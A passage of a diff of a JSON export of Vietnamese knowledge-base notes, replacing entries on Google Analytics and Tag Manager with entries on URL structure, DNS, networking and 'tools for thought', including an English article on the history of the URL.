cho trải nghiệm người dùng thì tại sao lại không làm?\n\nAi sử dụng tên miền có dấu với đuôi .vn thì sẽ được miễn phí 20k. Thông tin chi tiết xem tại [Trung Tâm Internet Việt Nam (VNNIC)](https://vnnic.vn/tenmientiengviet), Bộ Thông tin và Truyền thông.\n\n[[Sự khác biệt giữa Windows và Android, Mac trong tên file]]\n[[Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII]]\n\n## Ừ thì nhược điểm vậy đó, rồi thì sao?\nThì nếu bạn nhắm nội dung của mình chất lượng đủ để vượt qua được những nhược điểm đó thì cứ việc dùng. Bạn phải xác định là bạn đang tạo ra một thói quen mới cho độc giả, và việc này sẽ cần nhiều sự kiên trì và phản ứng ban đầu. Đây cũng chính là tinh thần \"dám đối diện nỗi sợ\", \"dám yên tâm rằng mọi chuyện rồi nhất định sẽ tốt đẹp\" mà Quả Cầu đang muốn lan toả.\n\n> Có vài người nói, \"Đưa khách hàng những gì họ muốn.\" Nhưng đó không phải là cách của tôi. Công việc của chúng tôi là tìm ra những gì khách hàng sẽ muốn trước cả họ. Tôi nghĩ Henry Ford từng nói, \"Nếu tôi hỏi khách hàng họ muốn gì, họ sẽ nói với tôi, 'Một con ngựa nhanh hơn!'\" Người ta không biết mình muốn gì cho đến khi bạn đưa cho họ xem. Đó là lý do tại sao tôi không bao giờ dựa vào nghiên cứu thị trường. Nhiệm vụ của chúng tôi là đọc ra những thứ còn chưa có trên mấy tờ trang giấy ấy.\"\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bI" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-09T13:48:00.000Z", + "id": "f1" }, { - "Tiêu đề": "Các dữ liệu cần xử lý chung một chỗ cần được đổ về cùng một property", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Các dữ liệu cần xử lý chung một chỗ cần được đổ về cùng một property", + "Tiêu đề": "URL bao gồm scheme, host, port, path, query, fragment", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/URL bao gồm scheme, host, port, path, query, fragment", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhìn chung, bạn nên thiết lập một tài khoản cho mỗi công ty và một property cho mỗi thương hiệu hoặc đơn vị kinh doanh.\r\n\r\n## Phiên bản GA miễn phí chỉ có một loại property\r\n### Ví dụ A: dùng một property riêng cho mỗi thương hiệu\r\n- Công ty mẹ A: 1 tài khoản \r\n\t- Thương hiệu X (ô tô): 1 property\r\n\t- Thương hiệu Y (hàng gia dụng): 1 property\r\n\t- Thương hiệu Z (hàng điện tử gia dụng): 1 property\r\n\r\nTrong trường hợp này, công ty mẹ có 1 tài khoản và 3 property riêng biệt, mỗi property chỉ chứa dữ liệu liên quan đến thương hiệu/đơn vị kinh doanh đó. \r\n\r\n### Ví dụ B: dùng chung một property cho tất cả các lĩnh vực hoạt động \r\n- Doanh nghiệp B: 1 tài khoản\r\n\t- Dòng sản phẩm D (bảo hiểm nhà ở): 1 property\r\n\t- Dòng sản phẩm E (bảo hiểm ô tô): thuộc cùng property với dòng sản phẩm D\r\n\t- Dòng sản phẩm F (bảo hiểm nhân thọ): thuộc cùng property với dòng sản phẩm D và E\r\n\r\nTrong trường hợp này, doanh nghiệp đã đổ dữ liệu tất cả các dòng sản phẩm vào một property duy nhất. Họ có thể có những khách hàng thường xuyên dùng nhiều sản phẩm, hoặc họ thường sử dụng chiến dịch bán thêm tính năng bổ sung, hoặc bán chéo các sản phẩm với nhau. Vì vậy sẽ hợp lý hơn khi xem tất cả các dữ liệu đó ở cùng một nơi. \r\n\r\n### Ví dụ C: dùng chung một property cho tất cả các sản phẩm\r\n- Doanh nghiệp nhỏ C (ví dụ: Joe’s deli): 1 tài khoản\r\n\t- Tất cả sản phẩm (thịt nguội, bánh mì kẹp, đồ uống, v.v.): 1 property\r\n\r\nTrong ví dụ này, Joe's deli là một doanh nghiệp nhỏ và không cần nhiều property. Họ phân tích tất cả dữ liệu cho dịch vụ giao hàng thịt nguội trực tuyến của mình cùng một chỗ vì họ không có lĩnh vực kinh doanh riêng biệt nào và khách hàng của họ thường mua nhiều sản phẩm. Một property duy nhất cho tất cả dữ liệu của họ sẽ là một lựa chọn hợp lý.\r\n\r\n## Phiên bản GA 360 có thêm property con và property tổng hợp\r\n### Ví dụ A: công ty mẹ cần một property tổng hợp\r\n![Sơ đồ về một công ty mẹ có 3 thương hiệu](https://lh3.googleusercontent.com/-I1LuNrjqnJ9kaKbzN-fzws1S6q0VdJ1e2D8YXmk002nN-zOAxQQc6N2ZVwotpnh-w=w1200)\r\n\r\n### Ví dụ B: mỗi nhóm vận hành cần dùng một property con để phân tích riêng\r\n![Sơ đồ về một property nguồn có 3 property con](https://lh3.googleusercontent.com/_PexaSqraS2idITNQ4-Wn43RgTK46_9LiEax_3izgZMR9CJEvlPIiWOTZZUvYoKW1Q=w1200)\r\n\r\n### Ví dụ C: công ty đa quốc gia\r\n\r\n![Diagram showing global roll-up property with 3 regional roll-up properties](https://storage.googleapis.com/support-kms-prod/qlmD4iv4m436WgAq3P7q6XyMqDBplZGPD534)\r\n\r\nNguồn:: [[Google Support]], [[GA4] Google Analytics account structure - Analytics Help](https://support.google.com/analytics/answer/9679158?sjid=17022656340477521015-NA&hl=en#key-concepts&zippy=%2Ctable-of-contents%2Croll-up-properties%2Centerprise-company-with-several-complementary-lines-of-business%2Cparent-company-with-several-brands%2Cglobal-enterprise-with-regions-and-subregions)\r\n\r\n![How to structure your Analytics account - YouTube](https://youtu.be/KqiWnzfJzxg)", + "Toàn bộ nội dung": "# How The URL Was Built\r\n![How The URL Was Built](https://cdn-images.welcometothejungle.com/oNKNwujNe-mhEBk94_L0q6kDeK-uwlHvXpQvFqyqQe8/rs:auto:980::/q:85/czM6Ly93dHRqLXByb2R1Y3Rpb24vdXBsb2Fkcy9hcnRpY2xlL2ltYWdlLzAzMjUvMTU5MzY4L1VSTC5wbmc)\r\n\r\nauthor [Sarvesh Mathi](https://www.welcometothejungle.com/en/authors/sarvesh-mathi)\r\n\r\nThe Internet is one of the greatest inventions of mankind, but it would have amounted to little if not for the World Wide Web (WWW). So much so that we use the two words “Internet” and “Web” synonymously. Technically, the Internet is the [infrastructure](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_does_the_Internet_work) connecting billions of computers together, and the Web is a service built on top of this. The Web is what we use every day to do everything from looking up information to connecting with people across the world.\r\n\r\nThe Web was invented as a solution to the problem of passing around information between computers. Although this was possible before the Web, the absence of a uniform format and protocol made the whole process cumbersome. _“Often it was just easier to go and ask people when they were having coffee,”_[writes Sir Tim Berners-Lee](https://www.w3.org/People/Berners-Lee/Kids.html#keep), who invented the WWW in 1989. _“I actually wrote some programs to take information from one system and convert it so it could be inserted into another system. More than once. And when you are a programmer, and you solve one problem and then you solve one that’s very similar, you often think, ‘Isn’t there a better way? Can’t we just fix this problem for good?’ That became, ‘Can’t we convert every information system so that it looks like part of some imaginary information system that everyone can read?’ And that became the WWW.”_\r\n\r\nThe WWW stands on three pillars: [HTML](https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics), the language we use to make web pages; [HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview), the protocol we use to send and receive resources over the Internet; and the [URL](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL). Here, we’ll explore the history and role of each of the components that make up the URL, which [Berners-Lee describes](https://www.w3.org/DesignIssues/Architecture.html) as the _“most fundamental specification of Web architecture.”_\r\n\r\n## What is the URL?\r\n\r\nOnce we expand the abbreviation, URL becomes self-explanatory. The uniform resource locator is simply an address to a resource on the Internet, most often a web page.\r\n\r\nWhen we wish to access a resource on the Web, the web browser on our computer has to connect to the [web server](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server) hosting the desired resource and locate the resource within this server. The details for which web server to connect to, where to look within the server, and what to look for are specified in the URL.\r\n\r\nWe mostly use URLs by either directly typing them into the browser’s address bar or by clicking on [hyperlinks](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_hyperlinks).\r\n\r\nA URL is made of multiple components, each with its own history and purpose. Here’s a breakdown of these components:\r\n\r\nURL Syntax: \r\nscheme: [ // [ userinfo@ ] host [ :port ] ] [ / ] [ path ] [ ?query ] [#fragment ]\r\n\r\nExample:\r\n\r\n![image](https://cdn.welcometothejungle.co/uploads/image/file/6023/159368/68dca0f2-7683-4ba9-a87a-3a7fdbe8015e.png)\r\n\r\n## Scheme: Which protocol to use?\r\n\r\n![image](https://cdn.welcometothejungle.co/uploads/image/file/4115/159368/3effb769-93d1-400c-92b6-dda32a3afffc.png)\r\n\r\nThe scheme is the first component of the URL. It declares how your web browser should communicate with the web server by specifying the protocol to use. Everything that follows the scheme depends on the type of protocol in use.\r\n\r\nYou’ve probably only come across the http or https protocols and you might wonder why something so universal must be specified. Historically, this wasn’t the case. Before the Web, the FTP and Gopher protocols were commonly used. The URL syntax was designed to accommodate these old standards as well as be flexible enough for any new standards. Fortunately, HTTP became the popular standard over time. As Berners-Lee writes, inventing the Web was easy—_“The amazing thing which makes it work is that so many people actually have made web servers, and that they all work the same way, on the Internet. They all use HTTP.”_ As a result of this widespread adoption, most browsers autofill URLs with the default http/https protocols, even if you forget to type them out. However, less-common protocols, such as ftp and mailto, are still in use in some cases, and they need to be explicitly specified.\r\n\r\n## Host: The most well-known component\r\n\r\n![image](https://cdn.welcometothejungle.co/uploads/image/file/4130/159368/01c37f3c-3b77-46d7-ad30-88fa72dea06e.png)\r\n\r\nFollowing the colon, which indicates the end of the scheme, the authority component, which consists of the userinfo and host, begins with a double slash. Why the double slash? Berners-Lee simply copied it from [the Apollo computer](https://www.hpmuseum.net/divisions.php?did=28), a high-end workstation at the time. It was used in Apollo to show a separation between the machine name and path. In the URL, it shows a separation between the scheme and host. But [Berners-Lee confesses](http://news.bbc.co.uk/2/hi/technology/8306631.stm) that the double slash is unnecessary. _“Look at all the paper and trees that could have been saved if people had not had to write or type out those slashes on paper over the years—not to mention the human labor and time spent typing those two keystrokes countless millions of times in browser address boxes,”_[he jokes](https://bits.blogs.nytimes.com/2009/10/12/the-webs-inventor-regrets-one-small-thing/).\r\n\r\nFollowing the double slash is the optional userinfo substring that is absent in our example above. This substring was in the format username:password, but it soon became evident that anyone snooping on the connection could decipher the password. As a result, the password component is no longer in use. The userinfo component is also rarely used nowadays, except with the mailto protocol.\r\n\r\nFollowing the userinfo is the host. The host is the most well-known component of the URL because it consists of the domain name. For example, www.welcometothejungle.com. The web browser uses this name to fetch the IP address of the web server hosting the desired page. Alternatively, we can directly specify the IP address as the host, but you’ll surely agree that it’s much easier to remember welcometothejungle.com than 52.211.16.159, for instance.\r\n\r\nThe components of the domain name are split by a period (.), but it could have easily been an exclamation mark (!), which was the standard convention used with a popular data transfer tool called UUCP back then. However, the pioneers of the domain name system (DNS) used the period, for no specific reason, and we stuck with that.\r\n\r\nThe www part of the domain identifies the address as a website. We merely use it because of historical convention. Back then, a single server served multiple purposes, the www indicated that a particular subdomain of the server was for website hosting. This is no longer true because we now have dedicated web servers. As a result, omitting www won’t do any harm. When the site has a subdomain—for example, en. Wikipedia.org—the www is replaced with the subdomain.\r\n\r\nAfter the www comes the actual domain name itself. Since humans prefer working with easy-to-remember names, such as google.com and bbc.co.uk, but web browsers work only with IP addresses, there needs to be a way to translate from one to the other. In the early days of the ARPANET, the US Department of Defense project that was a precursor to the modern Internet, this was done manually by people who kept track of computers and their respective IP addresses and passed on this information if someone requested it. However, with billions of computers around the world, this is clearly impractical now. Manual handling of this information also meant it was not possible to get the IP address of a recently added host after normal working hours or on holidays. _“If you wanted to add a machine to the network, you had to call SRI [Stanford Research Institute], and you would talk to the Network Information Center and ask for a name and an address. The problem is that SRI was off during Christmas week, and they went home on weekdays,”_[says Dr. Paul Mockapetris](https://www.wired.com/2012/07/paul-mockapetris-dns/), inventor of the DNS, which solved these issues for us.\r\n\r\nThe DNS works like a phone book, matching domain names to their IP address(es). The whole process is strikingly similar to [how telephones used to operate](https://thehistoryoftheweb.com/history-of-the-url/) with the switchboard operators of yesteryear. When you enter a domain name into the address bar of the web browser, here’s what happens:\r\n\r\n1. The browser looks through [caches](https://www.lifewire.com/what-is-a-dns-cache-817514). If the cache has the IP address, the DNS query process ends there.\r\n2. If not, the computer connects to a specialized server called [the DNS recursive resolver](https://www.cloudflare.com/learning/dns/what-is-dns/), which in turn, goes around looking for the IP address of the requested domain.\r\n3. The DNS resolver first asks the root name server, which then points to a top-level domain (TLD) name server (such as com or edu), which then points toward servers lower in the hierarchy.\r\n4. Ultimately, the DNS returns the IP address for the requested domain name to the web browser. Since a domain can be mapped to multiple IP addresses, the most relevant one, based on factors such as location of the user or server load, is returned.\r\n5. With", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-27T15:04:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bJ" + "id": "f2" }, { - "Tiêu đề": "Các tag có thể thêm vào", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Các tag có thể thêm vào", + "Tiêu đề": "URN giống như tên người, còn URL giống như địa chỉ nhà", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/URN giống như tên người, còn URL giống như địa chỉ nhà", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Google Analytics\r\n- Facebook Pixel\r\n- Facebook page", + "Toàn bộ nội dung": "Nguồn:: [Uniform Resource Identifier - Wikipedia](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bK" + "id": "f3" }, { - "Tiêu đề": "Destination ID cho GA trùng với Measurement ID của web data stream", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Destination ID cho GA trùng với Measurement ID của web data stream", + "Tiêu đề": "www thực ra chỉ là một tên miền thứ cấp như bao tên miền thứ cấp bình thường khác", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/www thực ra chỉ là một tên miền thứ cấp như bao tên miền thứ cấp bình thường khác", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Destination là nơi nhận dữ liệu của Google tag]]. Hiện tại, chỉ có những tài khoản Google Ads và web data stream trong Google Analytics 4 mới có thể được dùng làm destination.\r\nNguồn:: [[Google Support]], [Destination: Definition - Tag Manager Help](https://support.google.com/tagmanager/answer/12324388?sjid=14081765469960323685-AP)\r\n[[Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag]] \r\nMỗi một web data stream sẽ có một Measurement ID khác nhau. \r\n\r\nCâu hỏi:: Vậy có phải dữ liệu từ Google tag sẽ đổ vào web data stream, không phải property hay app data stream không?\r\nCâu hỏi:: [[❓Measurement ID của web data stream chính là Google tag ID]]?\r\n\r\nNguồn:: [[Google Support]], [Set up your Google tag - Tag Manager Help](https://support.google.com/tagmanager/answer/12002338?sjid=8841841083182692322-AP&hl=en#zippy=%2Cm%C3%A3-th%E1%BA%BB-google-l%C3%A0-g%C3%AC%2Cwhat-is-a-google-tag-id%2Cgoogle-analytics-instructions%2Cgoogle-tag-manager-instructions%2Cwhat-is-a-destination%2Cwhat-is-a-destination-id)\r\n", + "Toàn bộ nội dung": "Nguồn:: ![Why Do Some Websites Start With WWW1? (Not WWW) - YouTube](https://youtu.be/8Fq-hsGYS-8)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-01T11:04:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bL" + "id": "f4" }, { - "Tiêu đề": "Destination là nơi nhận dữ liệu của Google tag", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Destination là nơi nhận dữ liệu của Google tag", + "Tiêu đề": "🖥️Mạng máy tính", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Destination là nơi nhận dữ liệu của Google tag. Hiện tại, chỉ có những tài khoản Google Ads và web data stream trong Google Analytics 4 mới có thể được dùng làm destination.\r\nNguồn:: [[Google Support]], [Destination: Definition - Tag Manager Help](https://support.google.com/tagmanager/answer/12324388?sjid=14081765469960323685-AP)\r\n[[Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag]] \r\n", + "Toàn bộ nội dung": "![Điều gì xảy ra khi bạn vào một trang web | Cách hoạt động của Browser | TechMely - YouTube](https://youtu.be/II36vixCITs)\n[Networking comic](https://jvns.ca/networking-zine.pdf) \n\n```dataview\nLIST rows.file.link\nFROM \"🖥️Mạng máy tính\" \nWHERE file.name!=this.file.name\ngroup by split(file.folder, \"/\" )[1] \n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bM" + "Ngày tạo": "2023-08-25T07:38:00.000Z", + "Ngày cập nhật": "2024-08-18T09:20:00.000Z", + "id": "f5" }, { - "Tiêu đề": "Container", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Container", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Trang web đang phát triển", + "URL": "https://kỹnăng.quảcầu.cc/Trang web đang phát triển", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "- Hiểu biết thường thức\n- Kỹ năng sống\n- Phát triển bản thân\n- Quản lý cuộc sống\n\n[Hướng dẫn sử dụng Obsidian](https://pháttriểnbảnthân.quảcầu.cc/?utm_source=CW&utm_medium=Trang+web+%C4%91ang+ph%C3%A1t+tri%E1%BB%83n&utm_campaign=Giai+%C4%91o%E1%BA%A1n+1)\n[[Các buổi chia sẻ kỹ năng miễn phí với nhau]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bN" + "id": "f6" }, { - "Tiêu đề": "Data layer cho phép thay đổi URL mà không làm GA nghĩ rằng mình đã đổi sang trang khác", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Data layer cho phép thay đổi URL mà không làm GA nghĩ rằng mình đã đổi sang trang khác", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Các công ty ít có lợi trong việc đầu tư nghiên cứu môi trường tư duy", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Các công ty ít có lợi trong việc đầu tư nghiên cứu môi trường tư duy", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", + "Dự án": { + "Mã dự án": "D1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "id": "f7" + }, + { + "Tiêu đề": "Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", + "Dự án": { + "Mã dự án": "D1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "id": "f8" + }, + { + "Tiêu đề": "Explorable explanation phù hợp cho các trình bày liên quan chặt chẽ đến toán hơn", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Explorable explanation phù hợp cho các trình bày liên quan chặt chẽ đến toán hơn", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", + "Dự án": { + "Mã dự án": "D1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n[[Explorable explanation thiên về toán, còn data journalism thiên về thống kê dữ liệu]]\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "id": "f9" + }, + { + "Tiêu đề": "Hành vi và phản ứng là những thứ native trong môi trường máy tính", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Hành vi và phản ứng là những thứ native trong môi trường máy tính", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-21T08:49:00.000Z", - "id": "bO" + "id": "fA" }, { - "Tiêu đề": "Data layer tập trung mọi dữ liệu lại vào một chỗ rồi truyền đến container", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Data layer tập trung mọi dữ liệu lại vào một chỗ rồi truyền đến container", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Môi trường nghĩ là nơi ta có thể có những loại suy nghĩ mới, những suy nghĩ mà trước đây ta không thể hình thành", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Môi trường nghĩ là nơi ta có thể có những loại suy nghĩ mới, những suy nghĩ mà trước đây ta không thể hình thành", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Data layer là một mảng JavaScript chứa các thông tin mà mình muốn Google Analytics và các công cụ tương tự sử dụng.\n\n![](https://www.analyticsmania.com/wp-content/uploads/2019/12/image-2019-12-19T101006.568.jpg) \n![Data Layer in Google Tag Manager || GTM Data Layer Tutorial with examples - YouTube](https://youtu.be/hyZQLQITeV4?si=8U---WQEKEcXRv6F)\nNguồn:: [The data layer - Tag Manager Help](https://support.google.com/tagmanager/answer/6164391?hl=en)\n\n![Behind the Code: Using the Data Layer - YouTube](https://youtu.be/BEGzysJYHgM?si=ApF0jHdiDg3J-g7f)", + "Toàn bộ nội dung": "[[Một môi trường nghĩ thực sự mới là nơi chỉ việc dùng nó thôi sẽ thay đổi cả cách nghĩ của toàn bộ một nền văn minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-21T08:56:00.000Z", - "id": "bP" + "id": "fB" }, { - "Tiêu đề": "Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Môi trường nghĩ, nhận thức tăng cường", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nList \nfrom \"⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Môi trường nghĩ, nhận thức tăng cường\" \nWhere file.name!=this.file.name\n```\n[Reinventing Explanation](https://michaelnielsen.org/reinventing_explanation/index.html)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bQ" + "id": "fC" }, { - "Tiêu đề": "Workspace", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Workspace", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Các bảng tin làm mình cảm giác ai cũng thấy giống mình", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Mạng xã hội/Các bảng tin làm mình cảm giác ai cũng thấy giống mình", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bR" + "id": "fD" }, { - "Tiêu đề": "Để kích hoạt một tag trước tất cả các tag khác, chọn ❝Initialization – All Pages❞", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Để kích hoạt một tag trước tất cả các tag khác, chọn ❝Initialization – All Pages❞", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Một môi trường nghĩ thực sự mới là nơi chỉ việc dùng nó thôi sẽ thay đổi cả cách nghĩ của toàn bộ một nền văn minh", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Một môi trường nghĩ thực sự mới là nơi chỉ việc dùng nó thôi sẽ thay đổi cả cách nghĩ của toàn bộ một nền văn minh", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://www.analyticsmania.com/wp-content/uploads/2023/05/Article-29-Screenshot-1.jpg) \r\nNguồn:: [Page Variables and Pageview Triggers in Google Tag Manager - Analytics Mania](https://www.analyticsmania.com/post/page-related-variables-and-triggers-in-google-tag-manager/)", + "Toàn bộ nội dung": "> “A truly new medium [where] the very use of it would change the thought patterns of an entire civilization”\n> \n> Alan Kay – [User Interface: A Personal View (1989)](http://worrydream.com/refs/Kay%20-%20User%20Interface,%20a%20Personal%20View.pdf)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bS" + "id": "fE" }, { - "Tiêu đề": "Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Nguồn:: [[Andy Matuschak]]\ngood tools for thought arise mostly as a byproduct of doing original work on serious problems\n[[Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bT" + "id": "fF" }, { - "Tiêu đề": "Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": 